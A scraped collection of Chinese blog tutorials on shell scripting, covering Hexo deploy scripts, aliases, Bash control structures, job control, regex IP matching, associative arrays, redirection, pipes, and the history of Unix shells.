    sed -i  ''  '$d'  _config.yml
    sed -i  ''  '$d'  _config.yml
    #提交至github
    echo "  repo: https://github.com/gb112211/gb112211.github.io.git>"  >> _config.yml
    echo "  branch: master>"  >> _config.yml
    hexo d
    #删除github配置
    sed -i  ''  '$d'  _config.yml
    sed -i  ''  '$d'  _config.yml
     

    流程相当的简单,linux 下的话,sed 命令的 -i 选项后面应该不需要

    ,两个单引号,Mac 环境的按脚本中的格式写

  • 脚本写好之后,执行
    chmod +x commit.sh
    ,赋予可执行的权限后就可以以
    ./commit.sh
    的方式提交博客了

    [xuxu: ~/blog/ hexo]$ ./commit.sh
    INFO  Files loaded in  1.6  s
    INFO  Generated:  baidu_verify_0ZcfvtBusx.html
    INFO  Generated:  2015 /05/ 16 /config-my-hexo/ index.html
    INFO  Generated:  2015 /05/ 15 /android-adb-commands/ index.html
    INFO  Generated:  2015 /05/ 14 /2015-05-02-Instrumentation01/ index.html
    INFO  Generated:  2015 /05/ 14 /2015-05-02-Monkey/ index.html
    INFO  Generated:  2015 /05/ 13 /2015-05-02-Android-Tree/ index.html
    INFO  Generated:  2015 /05/ 12 /2015-05-02-MeiYiBu-XuXiaofeng/ index.html
    INFO  Generated:  archives/index.html
    INFO  Generated:  archives/2015/ index.html
    INFO  Generated:  archives/2015/ 05 /index.html
    INFO  Generated:  tags/其他/ index.html
    INFO  Generated:  tags/Android/ index.html
    INFO  Generated:  tags/测试基础/ index.html
    INFO  Generated:  tags/Monkey/ index.html
    INFO  Generated:  tags/粤语歌曲/ index.html
    INFO  Generated:  tags/Instrumentation/ index.html
    INFO  Generated:  tags/自动化/ index.html
    INFO  Generated:  index.html
    INFO  Generated:  categories/技术/ index.html
    INFO  Generated:  categories/音乐/ index.html
    INFO  Generated:  sitemap.xml
    INFO  Generated:  atom.xml
    INFO  22  files generated in  333  ms
    INFO  Deploying:  git
    INFO  Clearing .deploy folder...
    INFO  Copying files from public  folder...
    [master 1 f2fbc6] Site updated:  2015 -05 -16  13 :53 :58
     9  files changed, 16  insertions(+), 16  deletions(-)
    To https: //gitcafe.com/xuxu1988/xuxu1988.git
     283 f9fd..1 f2fbc6  master -> gitcafe-pages
    Branch master set up to track remote branch gitcafe-pages from https: //gitcafe.com/xuxu1988/xuxu1988.git.
    INFO  Deploy done:  git
    INFO  Deploying:  git
    INFO  Clearing .deploy folder...
    INFO  Copying files from public  folder...
    On branch master
    nothing to commit, working directory clean
    To https: //github.com/gb112211/gb112211.github.io.git
     283 f9fd..1 f2fbc6  master -> master
    Branch master set up to track remote branch master from https: //github.com/gb112211/gb112211.github.io.git.
    INFO  Deploy done:  git
     

快速创建并打开 md 文档

通常我们用 hexo new my-blog这条命令去创建 md 文档,然后再进到 source/_posts目录下去打开刚创建的 md 文档进行编辑,也是有点麻烦,这里同样运用 shell 脚本处理,在创建的好 md 文档之后就使用指定的应用程序打开该文档

  • 使用 hexo new 命令创建博客后,使用 Mou.app 打开创建好的 md 文档,脚本
    new.she
    的内容如下:

    #!/bin/sh
    #文件名
    filename=$@
    file=./source /_posts/$filename .md
    #判断是否已经存在
    if  [ ! -e  "$file >"  ]
    then
     #不存在则新建博客并用Mou打开
        hexo new $filename
        open -a  /Applications/Mou.app $file
    else
     #存在则提示博客名已经存在
     echo  "This blog already exists!>"
    fi
     

    new.sh 接收一个参数作为博客名

  • 脚本完成之后,同样地执行
    chmod +x new.sh
    , 然后执行脚本
    ./new.sh my-blog
    ,如果不存在,就会创建博客,并使用 Mou.app 这个应用程序打开 my-blog.md 这个文档

原文:http://www.xuxu1988.com/2015/05/16/config-my-hexo/

shell: Shell 编程初探

从开始系统的学习编程到现在已经快有两年了, 我也逐渐从使用 GUI 完成大部分任务转换到使用命令行.

书籍选择

学习一种技术对于我来说还是一件很有意思的事情, 而选择书籍就成为学习技术前所必须的准备工作. 而对于 shell 编程, 书籍的选择其实并不多.

Advanced Bash Scripting

而使用命令行之后, shell 是绕不过的语言, 我在一个月之前看过几章的 Advanced Bash Scripting, 不过这本书在我看来并不像很多人说的那样是 shell 编程中的圣经, 尤其不适合 shell 初学者. 书中对于 shell 中介绍可以说是非常的详细甚至啰嗦了.

Linux Command Line and Shell Scripting Bible

而在最近的学习中, 我的选择是 Linux Command Line and Shell Scripting Bible, 中译本是 Linux 命令行与 shell 脚本编程大全. 这本书相对于 ABS 来说我觉的更加适合新手.

Shell 基础

Shell 是什么? 在 GUI 出现之前, 和 Unix 系统唯一的交互方式就是通过 shell 提供的文本命令行界面(CLI, Command Line Interface).

Shell 有很多种, bash shell, zsh shell 等等, 我平时学习和工作时使用的是 zsh, 而在这里所介绍的是 bash shell. 也就是在大多数 Linux 发行版和 Unix 系统上的默认 Shell.

#!

在我们写 shell 脚本的时候需要在文件的 #!, 你经常会在 .sh文件中看到的

#!/bin/sh

这种文件会在执行时实际调用 /bin/sh程序来执行, 这也就是 shell 脚本的标准起始行.

而在这里的代码通常是使用 Bourne shell 或者兼容的 shell: bash, dash 来执行.

echo

echo就像是 Objective-C 中的 NSLog, 它会将一系列的参数打印到终端中.

$ echo "Hello World>"
Hello World
 

这个命令还是很简单并且常用的. 在这里就不对这个命令进行详细地讲解了.

环境变量

长时间使用 Unix 或者 Linux 操作系统时, 你会对 $PATH特别熟悉, 因为在终端下输入命令时, 会把 $PATH当做默认的目录, 会从其中的目录中寻找你要执行的二进制文件.

你可以在终端中输入 printenv查看所有的全局变量.

而如果你想查看单独的全局变量时, 必须在变量名前加上 $符号.

$ echo $HOME
/Users/apple

这是我在 OS X 系统上输出的结果.

alias

alias是我非常常用的命令, 命令别名允许为通用命令创建一个别名. 我是用这个命令尽可能的减少我在命令行中的输入次数.

因为使用的是 zsh, 所以我在 zshrc 中添加了如下的代码来简化输入.

# Alias
alias ga='git add .'
alias gam='git add -A && git commit'
alias gamm='git add -A && git commit -m'
autoPush() {
	git add -A
	git commit -m $1
	git push
}
alias g=autoPush
alias gp='git push && git push --tags'
alias gs='git status '
alias gf='git fetch '
alias gm='git merge '
alias gmm='git merge origin/master'
alias dc="cd /Users/apple/Desktop>"
alias ..='cd ..'
alias ...='cd ../..'
alias ....=' cd ../../..'
alias vim='/Applications/MacVim.app/Contents/MacOS/Vim '
alias v='vim'
alias v.='vim .'
 

这些重命名能够对于我来说用起来还是很爽的. 每次输入 g “Commit>”, 然后就会自动完成 git addgit commitgit push三个命令.

总结

对于 shell 命令暂时只说到这里了. 因为我目前对 shell 编程的了解并不是很多. 我会在之后的 post 中继续写一些我对 shell 的学习.

原文:http://draveness.me/shell-bian-cheng-chu-tan/

shell: Bash 的常用语法,控制结构

最近玩弄 Jenkins 较多,构建服务器基本是 Mac OS 和 Linux,虽说有许多现成插件可用,但不敢不说 Execute Shell这个东西都是即开即用,方便而灵活的。因此不断的要和 Shell 打交道,真正通用的的 Shell 自然是 Bash,在 Mac OS 下可发现自带了 zsh, ksh 和 tcsh,考虑到 Linux 还是 Bash 吧。

本人工作时用的是 Fish Shell,目前相当的脚本语言都可用来写 Shell 脚本,如 PHP, Ruby, Python, Perl,NodeJs 等,只是 Bash 的地位总难被替代,借句话说 Bash 的是拿来 “用” 的,而像 Ruby, Python 等做 Shell 是拿来 “编” 的,再就是 Bash 与 Linux 命令的亲缘性更强。

我也只会在实在用 Bash 太难于表达的时候才用其他脚本语言,如处理日期的运算,因 Mac OS 的 date 和 Linux 的 date 命令差异较大,不得已会选择有较强类型的 Ruby 等。

既然 Bash 要作为一个日常语言,那不妨作个备忘录,记录下那些常用的语法,控制结构。

1. if 条件语句

基本语法

if [ condition ]; then
  statement
elif [ condition ]; then
  statement
else
  statement
fi 

elif 和 else 是可选部分,结尾要用 if 反着写的 fi,简单例子

if [ "$a>" == "abc>" ]; then
  echo "yes>"
else
  echo "no>"
fi 

写上面的脚本一定要与我们的高级编程语方区分开来理解,Bash 只认命令,所有上面

1. [前后要有空格, ==前后要有空格, ]前要有空格,if 是个 shell 命令,所以后面的每一部分都是作为它的一个个参数

2. then之前的分号,因为本质上 if 和 then 是两个命令,所以需要用分别隔开,我们也可以 then 另起一行,则分号可省略。

3. if 后面也可以用 [[ condition ]] 或 (( condition )),(( … )) 在循环语句中会碰到。

下面就是关于条件测试

全面的说明在这里
http://www.tldp.org/LDP/abs/html/refcards.html#AEN22473

下面列此常用的:

等于: -eq(equal) ,== 或 =

大于:-gt(greater than), 字符串比较用  >,如果是 [[ … ]],> 则要写成 >,像 if [[ “b>” > “a>” ]]

大于等于:-ge(greater equal),写在 (( … )) 中可写成  >=,如  if (( $a >= 3 ))

小于:-lt(less than) 或 < 用于比较字符, 在 [[ ... ]] 中< 要写成  <

小于等于:le(less equal) , (( … )) 中用 <=, 如 if (( $a <= 3 ))

不等于:-ne(not equal) 或 !=

有时得注意引号的使用,能避免空白的引入,假如写成

if [ $a -gt 7 ], 当 $a 是空白的时候,就被解析成  if [ -gt 7 ] 执行时就会报错,这时为保险需写成  if [ “$a>” -gt 7 ] 这时即时  $ 没值也是 if [ “>” -gt 7 ],语法上不会有问题

另外需说一个模式匹配符 “=~>”,判断左边的字符串能否被右边的模式所匹配,用于[[ expression ]]

例如: if [[ abc123 =~ [a-z]{3}[0-9]{3} ]] ,
字符串和模式都 不需要引号括起来
,正则表达也是比较有限的支持,这里不能用 d 替代 [0-9]

一些 单目测试:

-z:字符串是否为空,  -n:字符串是否不为空。这两个可用于测试变量是否存在并赋予了非空时。

文件、目录测试常见: -e 文件是否存在    -d:测试是否目录, -f:测试是否普通文件,还有诸如是否块文件,socket 文件,是否有读、写、执行的权限,文件大小是否为零等等。详见 http://www.tldp.org/LDP/abs/html/refcards.html#AEN22473

组合条件测试:

逻辑与: [ … ] 写成 -a (and), [[ … ]] 中写成  &&, if  [ “a>” = “a>” -a “b>” = “b>” ], if  [[ “a>” = “a>” && “b>” = “b>” ]]

逻辑或: 与上同理, [ … ] 中写作 -o (or), [[ … ]] 中写成  ||

逻辑非: 写成  if [ ! “a>” = “a>” ] 这个相当于 if [ “a>” != “a>” ] 了,但 ! 可放到任何地方 if [ ! “$b>” -gt 7″ ], if [ ! -z >”$abc" ]

条件语句的内容大概就是这些了,至于比较内容的获得就是随你意了,可以是脚本变量,环境变量,参数,或执行 shell 的返回结果,如

if [ `ls -l | wc -l` -gt 20 ]; then echo “more than 20 files>”; fiif [ $(ls -l | wc -l) -gt 20 ]; then echo “more than 20 files>”; fi

backtick 和 $() 都可以收集执行命令后的返回值。

另外 Bash 还支持 case 语句,基本语法是


本文原始链接 http://unmi.cc/bash-common-syntax-control-structures/, 来自隔叶黄莺 Unmi Blog

case String in
  pattern1)
    statement
    ;;
  pattern2 | pattern3)
    ;;
    statement
  *)
    statement
    ;;
esac 

要说这个语法还有些怪异,模式后只用单右括号,;; 相当于是 break,  结尾是 case 反着写的的 esac

不举例子,看何时真正用上再细究。

2. 循环语句

最常用的 for 基本语法是

for variable in sequence
do
  statement
done

也可以像前面 if 那样的写法,把 do 提到上一行去

for variable in sequence; do
  statement
done

这是代码风格问题,for 和 do 两个命令写成一行就需要用分号隔开。来看可以怎么产生需要的序列

for 的参数 hello 和 world

bash-3.2$ for k in hello world
> do
> echo $k
> done
hello
world 

seq 命令产生序列号

bash-3.2$ for k in $(seq 1 3); do echo "number: $k>"; done
number: 1
number: 2
number: 3 

其他命令的输出行

for k in `ls`; do echo $k; done
#或
for k in $(ls); do echo $k; done

那么这里不得不提到 C-Style 的循环

bash-3.2$ for ((i= 0; i < 5; i++ )); do echo "Welcome $i time.>"; done
Welcome 0 time.
Welcome 1 time.
Welcome 2 time.
Welcome 3 time.
Welcome 4 time. 

我们也要注意到这里 for 后面 ((…)) 中的写法也不像 [ … ] 里那么严格,(( 后可以不用空格,等号前后可以不用空格,就是按照 C 的写法,只是必须双重括号。

还能定义并遍历数组

#!/bin/bash
# define an array called fruits
fruits=("Apple>" "Mango>" "Pineapple>" "Banana>" "Orange>" "Papaya>" "Watermelon>")
len=${#fruits[*]}         # get total elements in an array,or ${#fruit[@]}
# print it
for (( i=0; i<${len}; i++ ));
do
    echo "${fruits&#91;$i&#93;}>"
done 

另外 Bash 还当仁不让的支持  while, until 这两种循环,不细说他们了,基本语法是

while condition; do
  statement
done

until condition; do
  statement
done

condition 部分的语法可参考 if 条件语句。

参考: Advanced Bash-Scripting Guide

原文:http://unmi.cc/bash-common-syntax-control-structures/

shell: Linux进程管理

在Linux中,关于进程的管理是比较常用的操作,在这一节中我们将探究进程控制相关的操作。为了方便我们查看区分不同的进行,我们编写如下程序,其功能是每间隔2秒输出一次自己的编号。

 1  /*
 2  ** Test puting a running program into backgound
  3  */
 4  #include <stdio.h>
 5  #include <stdlib.h>
 6
 7  int  main(int  argc, char * argv[])
  8  {
  9  if  (argc != 2 ){
 10          printf(" Usage : bgtest numbern >" );
 11  return  -1 ;
 12      }
 13
14  while  (1 ){
 15          printf(" Task [%d] Wait 2 seconds.n >" , atoi(argv[1 ]));
 16          sleep(2 );
 17      }
 18  } 

1 将进程放入后台

在shell编程环境中,可以使用组合键CTRL+Z将前台正在运行的程序放入后台,但是程序会暂停执行。示例如下:

xiaomanon@xiaomanon:~/Documents/Shell$ ./bgtest 2000
Task [ 2000 ] Wait 2  seconds.
 ^Z
[1 ]+  Stopped                ./bgtest 2000
xiaomanon@xiaomanon: ~/Documents/Shell$ ./bgtest 2001
Task [ 2001 ] Wait 2  seconds.
 ^Z
[2 ]+  Stopped                ./bgtest 2001
xiaomanon@xiaomanon: ~/Documents/Shell$ ./bgtest 2002
Task [ 2002 ] Wait 2  seconds.
 ^Z
[3 ]+  Stopped                ./bgtest 2002  

如上所示,我们运行了3个进程,并且给每个进程指定一个不同的编号,如2000、 2001、 2002,借此我们可以知道当前哪一个进程在运行。当我们按下
Ctrl+Z
组合键后,进程会被放到后台并且暂停,同时我们可以看到输出了一行字符串,类似于“ [1]+ Stopped./bgtest 2000”,要注意中括号[]中的数字就是系统自动生成的后台任务编号。

2 查看后台程序

在前面,我们已经将3个进程放到后台了,但是我们如何查看呢?可以使用
jobs
命令,用法如下:

xiaomanon@xiaomanon:~/Documents/Shell$ jobs
[ 1 ]   Stopped                 ./bgtest 2000
[ 2 ]-  Stopped                 ./bgtest 2001
[ 3 ]+  Stopped                 ./bgtest 2002  

该命令输出有3列,第一列为任务编号,第二列为任务的状态,第三列为程序名。我们可以看到,所有的进程被放入到后台以后全部都暂停了。

3 后台运行程序

如何让后台被暂停的程序重新运行呢?我们可以使用命令“
bg 任务编号
”来让程序在后台运行,如下所示就是让任务编号为1的程序重新运行。

xiaomanon@xiaomanon:~/Documents/Shell$ bg 1
[ 1 ] ./bgtest 2000  &
xiaomanon@xiaomanon: ~/Documents/Shell$ Task [2000 ] Wait 2  seconds.
Task [ 2000 ] Wait 2  seconds.
joTask [ 2000 ] Wait 2  seconds.
bs
[ 1 ]   Running                 ./bgtest 2000  &
[ 2 ]-  Stopped                 ./bgtest 2001
[ 3 ]+  Stopped                 ./bgtest 2002  

我们可以看到,程序会继续输出字符串,但是,真个并不影响我们接着执行其他命令,比如我们这是继续使用jobs命令,可以查看到后台运行的程序的状态,也看到任务1的状态改为了“Running”。

4 让程序前台运行

当然,我们也可以让被放到后台的程序重新回到前台运行,可以执行“
fg 任务编号
”,如下所示:

xiaomanon@xiaomanon:~/Documents/Shell$ fg 3
. /bgtest 2002
Task [ 2002 ] Wait 2  seconds.
Task [ 2002 ] Wait 2  seconds.
Task [ 2002 ] Wait 2  seconds.
jobTask [ 2002 ] Wait 2  seconds.
s
Task [ 2002 ] Wait 2  seconds.
jos
Task [ 2002 ] Wait 2  seconds.
Task [ 2002 ] Wait 2  seconds.
Task [ 2002 ] Wait 2  seconds.
 ^Z
[ 3 ]+  Stopped                 ./bgtest 2002  

可以看到,程序在前台运行时,如果我们输入其他命令是不能响应的,整个前台被当前运行的任务3独占。我们必须将其重新放入到后台才能够输入其他命令。

5 杀死前台进程

杀死前台进程比较容易,我们可以直接使用组合键
Ctrl+C
终止前台运行的进程。

xiaomanon@xiaomanon:~/Documents/Shell$ fg 3
. /bgtest 2002
Task [ 2002 ] Wait 2  seconds.
 ^C
xiaomanon@xiaomanon: ~/Documents/Shell$ ps -u
Warning: bad ps syntax, perhaps a bogus  ' - ' ? See http:// procps.sf.net/faq.html
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
 1000  9301  0.0  0.6  9868  6332  pts/0     Ss   09 :47  0 :01  -bash
 1000  10685  0.0  0.0  2008  284  pts/0     T    13 :24  0 :00  ./bgtest 2000
1000  10687  0.0  0.0  2008  280  pts/0     T    13 :24  0 :00  ./bgtest 2001
1000  10769  0.0  0.1  4944  1156  pts/0     R+   13 :43  0 :00  ps -u 

在我们使用命令“ps -u”查看当前用户进程时,可以发现任务3已经被杀死了。

6 杀死后台进程

我们知道,可以利用“
kill 进程号
”的方式来杀死正在运行的进程,但是对于暂停的进程能不能起作用呢?我们做了如下尝试,结果发现任务2并没有被杀死。

xiaomanon@xiaomanon:~/Documents/Shell$ kill 10687
xiaomanon@xiaomanon: ~/Documents/Shell$ ps -u
Warning: bad ps syntax, perhaps a bogus  ' - ' ? See http:// procps.sf.net/faq.html
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
 1000  9301  0.0  0.6  9868  6332  pts/0     Ss   09 :47  0 :01  -bash
 1000  10685  0.0  0.0  2008  284  pts/0     T    13 :24  0 :00  ./bgtest 2000
1000  10687  0.0  0.0  2008  280  pts/0     T    13 :24  0 :00  ./bgtest 2001
1000  10780  0.0  0.1  4944  1156  pts/0     R+   13 :45  0 :00  ps -u 

由此,我们只能够
先使用fg命令将进程放到前台执行,然后再使用Ctrl+C来杀死该前台进程

原文:http://www.cnblogs.com/xiaomanon/p/4514401.html

shell: 如何在shell脚本中通过正则表达式匹配IP地址?

在运维场景下,我们经常需要在服务器上用正则表达式来匹配IP地址。

shell和其它编程语言一样,也可以使用正则分组捕获,不过不能使用 $1或1这样的形式来捕获分组,可以通过数组${BASH_REMATCH}来获得,如${BASH_REMATCH[1]},${BASH_REMATCH[N]}

下面以ip=”121.0.2.2>”为例,shell脚本代码如下(当然,你要做成更通用交互式的脚本,可以通过expect来实现):

#!/bin/bash
ip="121.0.2.2>"
if [[ $ip =~ ^([0-9]{1,2}|1[0-9][0-9]|2[0-4][0-9]|25[0-5]).([0-9]{1,2}|1[0-9][0-9]|2[0-4][0-9]|25[0-5]).([0-9]{1,2}|1[0-9][0-9]|2[0-4][0-9]|25[0-5]).([0-9]{1,2}|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$ ]]
then
	echo "Match>"
	echo ${BASH_REMATCH[1]}
	echo ${BASH_REMATCH[2]}
	echo ${BASH_REMATCH[3]}
	echo ${BASH_REMATCH[4]}
else
	echo "Not match>"
fi
 

原文:http://www.yunweipai.com/archives/4660.html

shell: bash关联数组

#声明一个数组

declare -A thearray

-a Each name is an indexed array variable (see Arrays above).

-A Each name is an associative array variable (see Arrays above). #没有这个说明bash的版本在4.0一下

关联数组的操作语法和数组的操作语法完全一致,如下常见的操作。

语法 描述

${!array[*]} 取关联数组所有键

${!array[@]} 取关联数组所有键

${array[*]} 取关联数组所有值

${array[@]} 取关联数组所有值

${#array[*]} 关联数组的长度

${#array[@]} 关联数组的长度

运行一下代码如果bash版本低于bash 4.0会有错误提示。升级后才能这样写。

#!/bin/bash
declare -A beatles
beatles=( [singer]=John [bassist]=Paul [drummer]=Ringo [guitarist]=George )
for musician in singer bassist drummer guitarist
do
  echo "The ${musician} is ${beatles[$musician]}.>"
done 

bash更新方式

下载地址:

http://ftp.gnu.org/gnu/bash/

当前最新bash http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz

wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
tar zxvf bash-4.3.tar.gz
cd bash-4.3
./configure
make
make install
mv /bin/bash /bin/bash.bak; ln -s /usr/local/bin/bash /bin/bash 

原文:http://blog.oddfoo.net/2015/05/20/bash-associative-array/

shell: Shell(二):变量、数据重定向和管道

在上一篇博客 Shell(一):功能、配置和插件中,介绍了为什么要使用shell,shell有哪些功能,如何使用 oh my zsh来提高效率等,本篇重点介绍,shell中的 变量的如何设置和读取数据,读取之后如何使用变量?每个程序一般都有输入和输出,让我们看看 数据重定向如何处理输入和输出的?还有,Unix/Linux系统提供丰富的工具,我们如何将这些工具通过 管道来组合成更加强大的宏工具呢?下面,由我来逐一详细介绍变量、数据重定向和管道。

shell: Shell(二):变量、数据重定向和管道
shell: Shell(二):变量、数据重定向和管道

Variable & Redirection & Pipe.png

变量

变量的作用

变量与其他程序设计语言一样,都是 存储数据,然后被程序引用。相比于不使用变量,而是直接使用数据,存在两个问题:

  1. 当数据改变时,直接使用数据的时候却不能灵活地根据数据改变而随着改变,而使用变量却不同,它能够做到这点。
  2. 当数据发生变化时,如果想保证数据 一致性,必须查找所有引用该数据的所有地方,然后将它修改,当下一次再需要修改时,也是像这种情况一样,是多么繁琐的事,而变量却不用,只需要修改变量值即可。

因此,变量具有 可变性和 易于修改的两个特点。

变量的分类

在shell中,大概分为两种变量: 环境变量和 局部变量,主要区别在于它们的使用范围不同,环境变量可以在父进程与子进程之间共享,而自定义变量只在本进程使用。举一个简单的例子来说明:

no share variable.png

我首先设置一个shell变量 devname=sam,然后输入 bash打开一个新的shell,而这个shell是 子进程,然后 echo $devname输出变量值,变量值为空,最后 exit退出子进程。

share variable.png

但使用 export devname设置环境变量后,再次进入输入 bash进入子进程之后, echo $devname输出变量值,这次变量值是 sam

查看环境变量 envset

如果想查看 系统中以及 自定义有哪些环境变量,可以使用 env命令:

shell: Shell(二):变量、数据重定向和管道
shell: Shell(二):变量、数据重定向和管道

env command.png

set命令不仅能查看环境变量,还可以查看与shell接口有关的变量,下面只截取一部分变量:

shell: Shell(二):变量、数据重定向和管道
shell: Shell(二):变量、数据重定向和管道

set command.png

变量有哪些操作

显示 echo $variable

如果你想显示某个变量的值,例如 PATH,你只需要输入:

echo $PATH

echo command.png

注意上面一条命令,需要在变量名前加上一个符号 $,这样才能访问变量

设置 variable=value和取消 unset

如果你想设置某个变量的值,只需在变量名和变量值之间用符号 =连接就行了,例如:

shell: Shell(二):变量、数据重定向和管道
shell: Shell(二):变量、数据重定向和管道

set variable.png

由上面的输入命令 echo $devname,显示结果为 空。由此可知,一开始如果没有设置某个变量时,它的是为 空。另外, 设置变量的规则还需要几点注意:

  1. 在命名变量名时,变量名称只能是英文字母和数字,而且首字母不能是数字。下面演示一个错误的例子:

    wrong variable name.png

  2. 等号 =两边不能有 空格

    shell: Shell(二):变量、数据重定向和管道
    shell: Shell(二):变量、数据重定向和管道

    blank can’t exist.png

  3. 如果变量值有空格,可用双引号 ” >”或单引号 ‘ ‘来包围变量值,但两者是有区别:

    双引号 ” >”内的一些特殊字符,可以保持原有的特性,例如:

    double quotation marks.png

    而单引号 ‘ ‘内的一些特殊字符,仅为一般字符,即纯文本,例如:

    single quotation marks.png

  4. 如果想显示一些特殊字符($、空格、!等),在字符前面加上用转义字符

  5. 有些时候,变量的值可能 来源于一些命令,这时你可以使用反单引号 `命令 `$(命令),例如:

    使用反单引号 `命令 `的方式

    get information from comand 1.png

    使用 $(命令)的方式

    get information from comand 2.png

  6. 如果变量想 增加变量的值,可以使用 $variable累加

    shell: Shell(二):变量、数据重定向和管道
    shell: Shell(二):变量、数据重定向和管道

    append variable value.png

  7. 如果变量需要在其他子进程使用,用 export关键字来设置变量为环境变量

    export VARIABLE
  8. 系统环境变量一般都是 字母全部大写,例如: PATH, HOMESHELL

  9. 如果想取消设置变量的值,使用 unset variable命令。注意,变量之前是没有符号 $

    shell: Shell(二):变量、数据重定向和管道
    shell: Shell(二):变量、数据重定向和管道

    unset variable.png

环境配置文件

之前那些设置的环境变量,一旦退出系统后,就 不能再次使用,如果想再次使用,必须重新再设置才行。如果想就算退出系统,也能重新使用自定义的环境变量,那怎么办呢?

不用怕,系统提供一些环境配置文件: /etc/profile~/.bash_profile/etc/profile是系统整体的设置,每个用户共享,最好不要修改;而 ~/.bash_profile属于单个用户的设置,每个用户设置后,互不影响和共享。但因为我使用 oh my zsh,之前 ~/.bash_profile设置一些配置都不生效了,但它提供一个环境配置文件 .zshrc,所以如果想设置环境变量TEST,只需将 export TEST=test添加 .zshrc即可。

shell: Shell(二):变量、数据重定向和管道
shell: Shell(二):变量、数据重定向和管道

export variable in zshrc file.png

但在 .zshrc文件设置好环境变量 TEST后, echo $TEST为空,原因是还没使用 source命令来读取环境配置文件。使用 source .zshrc命令之后,设置环境变量 TEST生效了

source command.png

数据重定向

含义

当输入命令行时,一般都有输入参数(standard input),而命令行处理完之后,一般都有输出结果,结果有可能成功(standard output),也有可能失败(standard error),而这些结果一般都会输出到屏幕上,如果你想控制结果输出到文件或以文件作为输入的话,你需要了解数据重定向的分类和符号操作。

shell: Shell(二):变量、数据重定向和管道
shell: Shell(二):变量、数据重定向和管道

Redirection.png

分类

数据重定向主要分为三类:

  • stdin,表示标准输入,代码为0,使用 <<<操作符
    符号 <表示以文件内容作为输入
    符号 <<表示输入时的结束符号
  • stdout,表示标准输出,代码为1,使用 >>>操作符
    符号 >表示以 覆盖的方式将 正确的数据输出到指定文件中
    符号 >>表示以 追加的方式将 正确的数据输出到指定文件中
  • stderr,表示标准错误输出,代码为2,使用 2>2>>操作符
    符号 2>表示以 覆盖的方式将 错误的数据输出到指定文件中
    符号 2>>表示以 追加的方式将 错误的数据输出到指定文件中

使用

stdout

当你输入 ls命令,屏幕会显示当前目录有哪些文件和目录;而当你使用符号 >时,输出结果将重定向到 dir.txt文件,而不显示在屏幕上

shell: Shell(二):变量、数据重定向和管道
shell: Shell(二):变量、数据重定向和管道
stdin demo.png

而符号 >与符号 >>有什么 区别呢? >表示当文件存在时,将文件内容清空,然后stdout结果存放到文件中。而 >>表示当文件存在时,文件内容并没有清空,而是将stdout结果追加到文件尾部。

当你再次输入命令 ls > dir.txt时,文件内容并没有改变,因为之前文件内容被清空,然后stdout结果存放在 dir.txt文件

stdin demo 1.png

而你这次使用符号 ls >> dir.txt的话,文件内容被追加到 dir.txt文件

shell: Shell(二):变量、数据重定向和管道
shell: Shell(二):变量、数据重定向和管道

stdin demo 2.png

stderr

这次我输入命令 ls test显示一个不存在的文件,会显示错误信息。然后将错误信息输出到文件 error.txt

stderr demo 1.png

如果你想追加错误信息,可以使用 2>>符号

stderr demo 2.png

stdout & stderr

  • 将stdout和stderr分离: >2>符号

    输入 ls README.md test,在屏幕显示既有正确信息,也有错误信息,如果想将正确信息和错误信息分离到不同文件,你可以同时使用 >2>符号

    seperate stdout & stderr.png

  • 将stdout和stderr合并: &>符号

    如果你想将正确信息和错误信息 合并,且输出到同一个文件,可以使用 &>符号

    combine stdout & stderr.png

stdin

一般输入一些简单的数据的方式都是通过 键盘,但是如果要输入大量的数据,最好还是通过 文件的方式。举一个简单例子:

首先输入 cat > test命令之后,你就可以输入内容,那些内容最终会存放在 test文件

stdin demo 1.png

但如果有大量数据从一个文件导入到 test文件时,此时需要用到 <符号

shell: Shell(二):变量、数据重定向和管道
shell: Shell(二):变量、数据重定向和管道

stdin demo 2.png

还一个符号 <<需要解释,符号 <<表示输入时的结束符号。输入 cat > test << "eof>"命令之后,你就可以输入内容,那些内容最终会存放在 test文件,输入完内容后可以输入 eof来结束输入

stdin demo 3.png

管道

在Unix设计哲学中,有一个重要设计原则-- KISS(Keep it Simple, Stupid),大概意思就是 只关注如何做好一件事,并把它做到极致。每个程序都有各自的功能,那么有没有一样东西将不同功能的程序互相连通,自由组合成更为强大的宏工具呢?此时, 管道出现了,它能够让程序实现了 高内聚,低耦合。

How Pipe works.png

如果我想查看文件是否存在某个关键字,此时我可以使用管道

Pipe Demo.png

命令 cat README.md | grep 'pod'的处理过程分为两步:

  1. cat README.md查看文件内容
  2. 然后将 cat README.md输出的内容作为 grep 'pod'命令的输入,再进行处理。

上面一个很关键的符号 |,就是管道,它能够将前一个命令处理完的 stdout作为下一条命令 stdin

扩展阅读

原文:http://www.jianshu.com/p/3687e12b8d48

shell: shell的历史

shell的历史

shell概况

人想要和操作系统进行交互,传送指令给操作系统,就需要使用到shell。宏义的shell是人与机器交互的页面,它分为两种,一种是有界面的,比如GUI,另外一种是没有界面的,完全是指令操作的(CLI)。我们一般说的shell指的就是命令行界面。

Bourne shell

最早Ken Thompson设计Unix的时候,使用的是命令解释器,命令解释器接受用户的命令,然后解释他们并执行。

后来出现了Bourne shell(通称为sh),顾名思义,就是一个叫Bourne shell创建的。对,它就是现在我们机器上面的/bin/sh这个可执行文件。这个老哥创建的sh一直沿用至今,现在的UNIX操作系统都配置有sh,而且各种新的shell都会向后兼容sh的语法。

Bourne shell 带来了:

  • 脚本可以写在文件里被调用,比如sh a.sh可以执行a.sh里面的shell命令
  • 可以交互或者非交互的方式调用
  • 可以同步执行也可以异步执行
  • 支持输入输出的pipeline,就是管道方式
  • 支持输入输出的重定向,就是现在使用的> 和 >>
  • 提供一系列内置命令
  • 提供流程控制基本的函数和结构
  • 弱类型变量,就是可以直接 a=1,不需要指定a为int
  • 提供本地和全局的变量作用域
  • 脚本执行前不需要编译
  • 去掉goto功能
  • 使用“进行命令执行替换
  • 增加了for~do~done的循环
  • 增加了case~in~esac的条件选择
  • 文件描述符2>代表错误信息导出

csh, ksh

Bourne老爷子创造的sh非常强大,后来引入的争议是Unix系统是C写的,为什么你的shell的语法不像C呢?然后Bill Joy就编写了C Shell(csh)。它用最类似C的语法来编写shell。后来csh演化成了tchsh,但是csh后面的路途就比较坎坷了,最终未能流行起来。但是现在比如在Mac系统上还保留csh。

Korn Shell(ksh)是1983年出现的,它向后兼容Bourne shell。同时吸取了C shell的一些优点,比如job control。

bash

